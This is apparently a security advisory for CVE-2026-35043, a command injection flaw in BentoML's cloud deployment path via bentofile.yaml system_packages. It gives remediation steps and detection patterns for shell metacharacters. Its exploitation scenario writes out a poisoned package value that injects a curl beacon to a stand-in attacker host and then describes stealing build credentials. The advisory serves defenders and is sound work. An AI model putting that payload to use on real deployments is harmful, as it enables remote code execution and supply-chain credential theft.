CVE-2026-35043: BentoML: cmd injection RCE on cloud build infra
GHSA-fgv4-6jr3-jgfw HIGH CISA: ATTENDBentoML's incomplete patch (<=1.4.37) leaves the cloud deployment path vulnerable to command injection via bentofile.yaml system_packages, enabling RCE on BentoCloud or self-hosted Yatai build infrastructure. Any team deploying BentoML models to BentoCloud must upgrade to 1.4.38 immediately — the original fix patched the wrong code path, creating false confidence. If deployments occurred between the partial patch and 1.4.38, treat build environment credentials as compromised and rotate.
What is the risk?
HIGH risk with a deceptive twist: the incomplete fix in commit ce53491 patched images.py and Jinja2 templates but missed deployment.py:1648 — the cloud deployment path. This creates false confidence for teams who track patch commits rather than full code audits. Exploitability is trivial: a single YAML entry with a semicolon achieves shell breakout. The payload lands on build infrastructure, which typically holds container registry write credentials, cloud provider IAM tokens, and cross-tenant access, making this a high-value lateral movement pivot. Exposure is scoped to BentoCloud users and self-hosted Yatai/Kubernetes deployments; local-only builds are not affected.
What systems are affected?
| Package | Ecosystem | Vulnerable Range | Patched |
|---|---|---|---|
| bentoml | pip | <= 1.4.37 | 1.4.38 |
Do you use bentoml? You're affected.
Severity & Risk
Attack Surface
What should I do?
5 steps-
PATCH
Upgrade bentoml to 1.4.38 immediately — the fix adds shlex.quote() to each package in deployment.py:1648, neutralizing shell metacharacters.
-
AUDIT
Grep all bentofile.yaml files in repositories and CI pipelines for system_packages values containing semicolons, backticks, $(), ${IFS}, or pipe characters.
-
DETECT
Review BentoCloud build logs for anomalous outbound network connections or unexpected commands executing during container setup phase.
-
ROTATE
If any BentoCloud deployments occurred between the partial patch (commit ce53491) and 1.4.38 release, assume build environment credentials are potentially compromised — rotate cloud API keys, registry tokens, and all secrets present in the build environment.
-
GATE
Add pre-deployment CI validation to reject bentofile.yaml files with system_packages values matching shell metacharacter patterns as a defense-in-depth control.
CISA SSVC Assessment
Source: CISA Vulnrichment (SSVC v2.0). Decision based on the CISA Coordinator decision tree.
Classification
Compliance Impact
This CVE is relevant to:
Frequently Asked Questions
What is CVE-2026-35043?
BentoML's incomplete patch (<=1.4.37) leaves the cloud deployment path vulnerable to command injection via bentofile.yaml system_packages, enabling RCE on BentoCloud or self-hosted Yatai build infrastructure. Any team deploying BentoML models to BentoCloud must upgrade to 1.4.38 immediately — the original fix patched the wrong code path, creating false confidence. If deployments occurred between the partial patch and 1.4.38, treat build environment credentials as compromised and rotate.
Is CVE-2026-35043 actively exploited?
No confirmed active exploitation of CVE-2026-35043 has been reported, but organizations should still patch proactively.
How to fix CVE-2026-35043?
1. PATCH: Upgrade bentoml to 1.4.38 immediately — the fix adds shlex.quote() to each package in deployment.py:1648, neutralizing shell metacharacters. 2. AUDIT: Grep all bentofile.yaml files in repositories and CI pipelines for system_packages values containing semicolons, backticks, $(), ${IFS}, or pipe characters. 3. DETECT: Review BentoCloud build logs for anomalous outbound network connections or unexpected commands executing during container setup phase. 4. ROTATE: If any BentoCloud deployments occurred between the partial patch (commit ce53491) and 1.4.38 release, assume build environment credentials are potentially compromised — rotate cloud API keys, registry tokens, and all secrets present in the build environment. 5. GATE: Add pre-deployment CI validation to reject bentofile.yaml files with system_packages values matching shell metacharacter patterns as a defense-in-depth control.
What systems are affected by CVE-2026-35043?
This vulnerability affects the following AI/ML architecture patterns: MLOps deployment pipelines, cloud model serving, CI/CD build infrastructure, containerized model deployment.
What is the CVSS score for CVE-2026-35043?
CVE-2026-35043 has a CVSS v3.1 base score of 7.8 (HIGH). The EPSS exploitation probability is 0.03%.
Technical Details
NVD Description
BentoML is a Python library for building online serving systems optimized for AI apps and model inference. Prior to 1.4.38, the cloud deployment path in src/bentoml/_internal/cloud/deployment.py was not included in the fix for CVE-2026-33744. Line 1648 interpolates system_packages directly into a shell command using an f-string without any quoting. The generated script is uploaded to BentoCloud as setup.sh and executed on the cloud build infrastructure during deployment, making this a remote code execution on the CI/CD tier. This vulnerability is fixed in 1.4.38.
Exploitation Scenario
A threat actor publishes a BentoML model to a public hub (Hugging Face, internal model registry) with a bentofile.yaml containing a poisoned system_packages entry: 'jq;curl${IFS}https://c2.attacker.com/beacon?h=$(hostname|base64)${IFS}#'. When a target organization's MLOps engineer deploys this bento to BentoCloud, BentoML generates a setup.sh with the injected command, uploads it via the legitimate deployment API, and the cloud build node executes it during container initialization. The attacker receives a beacon from the build node, then uses the established callback to enumerate and exfiltrate container registry credentials and cloud IAM tokens from the build environment. With registry write access, the attacker can poison downstream container images, achieving persistent supply chain compromise across the victim's AI deployment pipeline.
Weaknesses (CWE)
CVSS Vector
CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H References
Timeline
Related Vulnerabilities
CVE-2025-54381 9.9 BentoML: unauthenticated SSRF via file upload URLs
Same package: bentoml CVE-2025-27520 9.8 BentoML: unauthenticated RCE via insecure deserialization
Same package: bentoml CVE-2025-32375 9.8 BentoML: RCE via insecure deserialization in runner
Same package: bentoml CVE-2024-9070 9.8 BentoML: unauthenticated RCE via runner deserialization
Same package: bentoml CVE-2026-35044 8.8 BentoML: malicious bento archive RCE via Jinja2 SSTI
Same package: bentoml